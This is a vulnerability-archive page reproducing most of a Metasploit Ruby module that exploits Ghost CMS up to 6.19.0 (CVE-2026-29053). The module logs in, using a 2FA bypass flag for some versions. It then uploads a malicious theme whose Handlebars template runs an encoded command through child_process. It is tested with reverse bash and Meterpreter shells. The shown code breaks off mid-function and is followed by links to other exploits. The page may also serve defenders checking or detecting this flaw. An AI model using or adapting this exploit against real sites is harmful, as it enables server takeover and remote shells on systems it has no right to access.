发布 2026-09-02 漏洞条目

Ghost_CMS 6.19.0 – Remote Code Execution

Exploit Source

# Exploit Title: Ghost_CMS 6.19.0 - Remote Code Execution

# Date: 08/07/2026

# Exploit Author: Maksim Rogov

# Vendor Homepage: https://ghost.org/

# Software Link: https://ghost.org/

# Version: >= 0.7.2, <= 6.19.0

# Tested on: Ubuntu 18.0.4 | Windows 10

# CVE : CVE-2026-29053

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'zip'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

prepend Msf::Exploit::Remote::AutoCheck

VECTORS = {

tag: {

template_name: 'tag-{{SLUG}}.hbs',

creator: :create_post,

trigger: :get_tag,

cleaner: :delete_post

page: {

template_name: 'page-{{SLUG}}.hbs',

creator: :create_page,

trigger: :get_page,

cleaner: :delete_page

author: {

template_name: 'author-{{SLUG}}.hbs',

creator: :pick_random_author,

trigger: :get_author_by_slug,

cleaner: nil

}

}.freeze

def initialize(info = {})

super(

update_info(

info,

'Name' => 'Ghost CMS Remote Code Execution',

'Description' => %q{

This module exploits a Remote Code Execution (RCE) vulnerability in Ghost CMS.

Specifically crafted malicious themes can execute arbitrary code on the server running Ghost.

The affected versions include all releases from 0.7.2 up to and including 6.19.0.

For versions 5.105.0-5.130.5 and 6.0.0-6.10.3, the module also leverages a 2FA bypass.

'License' => MSF_LICENSE,

'Author' => [

'Maksim Rogov', # Metasploit Module

'Cristian-Alexandru Staicu' # Vulnerability Discovery

'References' => [

['CVE', '2026-29053'],

['CVE', '2026-22594'],

['URL', 'https://www.endorlabs.com/learn/rce-in-ghost-cms-ghsa-cgc2-rcrh-qr5x']

'Arch' => [ARCH_CMD],

'Targets' => [

[

'Ghost >= 0.7.2, <= 6.19.0 / Unix payload',

{

'Platform' => ['unix', 'linux']

# Tested with cmd/unix/reverse_bash

# Tested with cmd/unix/reverse_nodejs

}

[

'Ghost >= 0.7.2, <= 6.19.0 / Windows payload',

{

'Platform' => ['windows']

# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp

}

]

'DefaultTarget' => 0,

'DisclosureDate' => '2026-03-02',

'Notes' => {

'Stability' => [CRASH_SAFE],

'SideEffects' => [IOC_IN_LOGS],

'Reliability' => [REPEATABLE_SESSION]

}

)

register_options(

[

OptString.new('TARGETURI', [true, 'Path to the Ghost CMS App', '/']),

OptString.new('EMAIL', [ false, 'The email used for login or to receive the admin invitation']),

OptString.new('PASSWORD', [ false, 'The password for the specified email (not needed for API-based invite)']),

OptString.new('TOTP_CODE', [false, 'The 6-digit 2FA verification code required for TOTP flow']),

OptString.new('INVITE_LINK', [false, 'Full invitation activation link from the email message']),

OptString.new('ADMIN_API_KEY_ID', [ false, 'The ID of the Admin API key']),

OptString.new('ADMIN_API_SECRET', [ false, 'The secret associated with the Admin API key']),

OptString.new('GHOST_API_ADMIN_SESSION', [ false, 'The ghost-admin-api-session cookie']),

OptString.new('ADMIN_SESSION_SECRET', [ false, 'The database session secret to sign admin cookies']),

OptString.new('ADMIN_SESSION_ID', [ false, 'The plain session ID to be signed with the session secret']),

OptInt.new('DELAY', [ true, 'Delay (in seconds) before resetting the execution lock, preventing repeated payload execution', 60]),

OptEnum.new('ACTION', [true, 'Authentication method', 'PASSWORD', ['PASSWORD', 'SESSION_SECRET', 'API_KEY', 'COOKIE', 'INVITE']])

]

)

end

def ghost_request_cgi(method, endpoint, data: nil, params: nil, ctype: 'application/json')

headers = {}

headers['Authorization'] = "Ghost #{@jwt_token}" if @jwt_token

headers['Cookie'] = "ghost-admin-api-session=#{@ghost_admin_api_session}" if @ghost_admin_api_session

proto = ssl ? 'https' : 'http'

target_origin = "#{proto}://#{rhost}:#{rport}"

headers['Origin'] = target_origin

request_data = (ctype == 'application/json' && data.is_a?(Hash)) ? data.to_json : data

res = send_request_cgi({

'method' => method,

'uri' => normalize_uri(target_uri.path, 'ghost', 'api', 'admin', endpoint),

'headers' => headers,

'ctype' => ctype,

'vars_get' => params,

'data' => request_data,

'keep_cookies' => true

})

if res.nil?

print_error("Connection failed during #{method} to #{endpoint}")

return nil

end

if res.code >= 400

json_body = res.get_json_document

if json_body.is_a?(Hash) && json_body['errors']

error = json_body.dig('errors', 0)

ctx = error.is_a?(Hash) ? error['context'] : nil

print_error("Ghost Error (#{res.code}). #{ctx}")

end

res

end

def create_post(title, slug, tags = nil)

res = ghost_request_cgi('POST', 'posts/', data: {

posts: [

{

title: title,

slug: slug,

tags: tags,

status: 'published',

visibility: 'public'

}

]

})

res&.get_json_document&.dig('posts', 0, 'id')

end

def create_page(title, slug, *_args)

res = ghost_request_cgi('POST', 'pages/', data: {

pages: [

{

title: title,

slug: slug,

status: 'published',

visibility: 'public'

}

]

})

res&.get_json_document&.dig('pages', 0, 'id')

end

def create_rex_archive(binary_archive)

zip = Rex::Zip::Archive.new

Zip::File.open_buffer(binary_archive) do |z|

z.each do |f|

zip.entries << Rex::Zip::Entry.new(

f.name,

(f.ftype == :file ? z.read(f) : ''),

Rex::Zip::CM_DEFLATE,

nil,

(Rex::Zip::EFA_ISDIR if f.ftype == :directory)

)

end

zip

end

def download_theme(name)

res = ghost_request_cgi('GET', "themes/#{name}/download/")

res.body

end

def upload_theme(theme_name, zip_binary)

mime = Rex::MIME::Message.new

mime.add_part(zip_binary, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{theme_name}.zip\"")

res = ghost_request_cgi('POST', 'themes/upload/',

data: mime.to_s,

ctype: "multipart/form-data; boundary=#{mime.bound}")

fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Theme upload failed: no response received") unless res

json_body = res.get_json_document

errors = json_body.is_a?(Hash) ? json_body['errors'] : nil

error_message = if errors.is_a?(Array) && !errors.empty?

errors.map { |error| error.is_a?(Hash) ? error['message'] || error.inspect : error.to_s }.join(', ')

end

unless res.code.between?(200, 299) && error_message.nil?

message = "#{peer} - Theme upload failed (HTTP #{res.code})"

message = "#{message}: #{error_message}" if error_message

fail_with(Msf::Module::Failure::UnexpectedReply, message)

end

res

end

def get_malicious_template

delay_seconds = datastore['DELAY']

delay_ms = delay_seconds * 1000

resource = ['posts', 'pages', 'tags', 'authors', 'tiers'].sample

filter = ['id', 'name', 'slug'].sample

# prevents multiple concurrent executions using a global lock

lock_var = Rex::Text.rand_text_alpha_lower(1..16)

js_bytes = "String.fromCharCode(#{payload.encoded.bytes.join(',')})"

js_payload = "return global.#{lock_var}?0:(global.#{lock_var}=1,process.mainModule.require('child_process').exec(#{js_bytes},{detached:1},()=>setTimeout(()=>global.#{lock_var}=0,#{delay_ms})))"

[

'{{!< default}}',

"{{#get \"#{resource}\" filter=\"#{filter}:{{@site[?( ({__proto__:\\\"\\\".toString})[\\\"constructor\\\"](\\\"#{js_payload}\\\")() )]}}\" limit=\"1\"}}",

'{{/get}}'

].join("\n")

end

def delete_theme(name)

res = ghost_request_cgi('DELETE', "themes/#{name}/")

res&.code == 204

end

def get_users(include: nil)

params = {}

params['include'] = include if include.present?

res = ghost_request_cgi('GET', 'users/', params: params)

res&.get_json_document&.dig('users')

end

def delete_post(post_id)

res = ghost_request_cgi('DELETE', "posts/#{post_id}/")

res&.code == 204

end

def delete_page(page_id)

res = ghost_request_cgi('DELETE', "pages/#{page_id}/")

res&.code == 204

end

def delete_invite(invite_id)

res = ghost_request_cgi('DELETE', "invites/#{invite_id}/")

res&.code == 204

end

def check_existing_session

if datastore['GHOST_API_ADMIN_SESSION'].present?

print_status('Found GHOST_API_ADMIN_SESSION in datastore. Validating session...')

@ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'].to_s

if get_config.present?

return true

else

print_error('Session is invalid: Incorrect cookie or 2FA code is required.')

end

@ghost_admin_api_session = nil

false

end

def verify_totp_code

unless datastore['TOTP_CODE'] =~ /^\d{6}$/

fail_with(Msf::Module::Failure::BadConfig, 'The TOTP_CODE must be exactly 6 digits.')

end

if datastore['GHOST_API_ADMIN_SESSION'].blank?

fail_with(Msf::Module::Failure::BadConfig, 'Missing GHOST_API_ADMIN_SESSION. Cannot verify TOTP without the previous session cookie.')

end

print_status("Submitting verification code from datastore: #{datastore['TOTP_CODE']}...")

@ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'].to_s

res_verify = ghost_request_cgi('PUT', 'session/verify', data: {

token: datastore['TOTP_CODE']

})

if res_verify&.code == 200 || res_verify&.code == 201

print_good('2FA verification successful! Session established.')

save_session_cookie(res_verify)

return true

elsif res_verify&.code == 401

print_error('2FA verification failed. The code entered is incorrect.')

return false

else

print_error("Verification failed. Server responded with HTTP status: #{res_verify&.code}")

return false

end

def authenticate_with_password(email, password)

print_status("Authenticating via session (user: #{email})...")

json_data = {

username: email,

password: password

}

# CVE-2026-22594 Staff 2FA bypass

if Rex::Version.new(@version).between?(Rex::Version.new('6.0.0'), Rex::Version.new('6.10.3')) || Rex::Version.new(@version).between?(Rex::Version.new('5.105.0'), Rex::Version.new('5.130.5'))

print_status("Target version #{@version} is vulnerable to 2FA bypass (CVE-2026-22594). Attempting to exploit...")

json_data[:skipEmailVerification] = true

end

res = ghost_request_cgi('POST', 'session', data: json_data)

if res.nil?

print_error('No response received from the server during login.')

return false

end

case res.code

when 200, 201

print_good('Session established via password successfully.')

save_session_cookie(res)

return true

when 404

print_error('User not found or login endpoint does not exist.')

return false

else

if res.body =~ /2FA_NEW_DEVICE_DETECTED/

save_session_cookie(res)

print_warning('The server requires a 2FA email verification code (2FA_NEW_DEVICE_DETECTED).')

fail_with(Msf::Module::Failure::BadConfig, 'Please run: "set TOTP_CODE <6-digits>", and run again.')

end

print_error("Login failed! Response code: #{res.code}")

false

end

def save_session_cookie(response)

raw_cookies = response.get_cookies

if raw_cookies.present? && raw_cookies =~ /ghost-admin-api-session=([^;]+)/

captured_cookie = Regexp.last_match(1)

framework.datastore['GHOST_API_ADMIN_SESSION'] = captured_cookie

@ghost_admin_api_session = captured_cookie

end

def do_login(email, password)

if check_existing_session

print_good('Valid active session detected via cookie. Skipping authentication steps.')

return true

end

if datastore['TOTP_CODE'].present?

return verify_totp_code

end

authenticate_with_password(email, password)

end

def build_archive_from_directory(directory_path)

archive = Rex::Zip::Archive.new

Dir.glob(File.join(directory_path, '**', '*')).each do |path|

relative_path = path.sub("#{directory_path}/", '')

if File.file?(path)

archive.add_file(relative_path, File.read(path))

elsif File.directory?(path)

archive.add_file(relative_path, nil, recursive: true)

end

相关漏洞条目

Automotive Shop Management System 1.0 – SQLi

Keycloak 26.7.2 – Unauthenticated Account Takeover

pizzafy-1.0 – SQLi

Open eClass 3.15 – RCE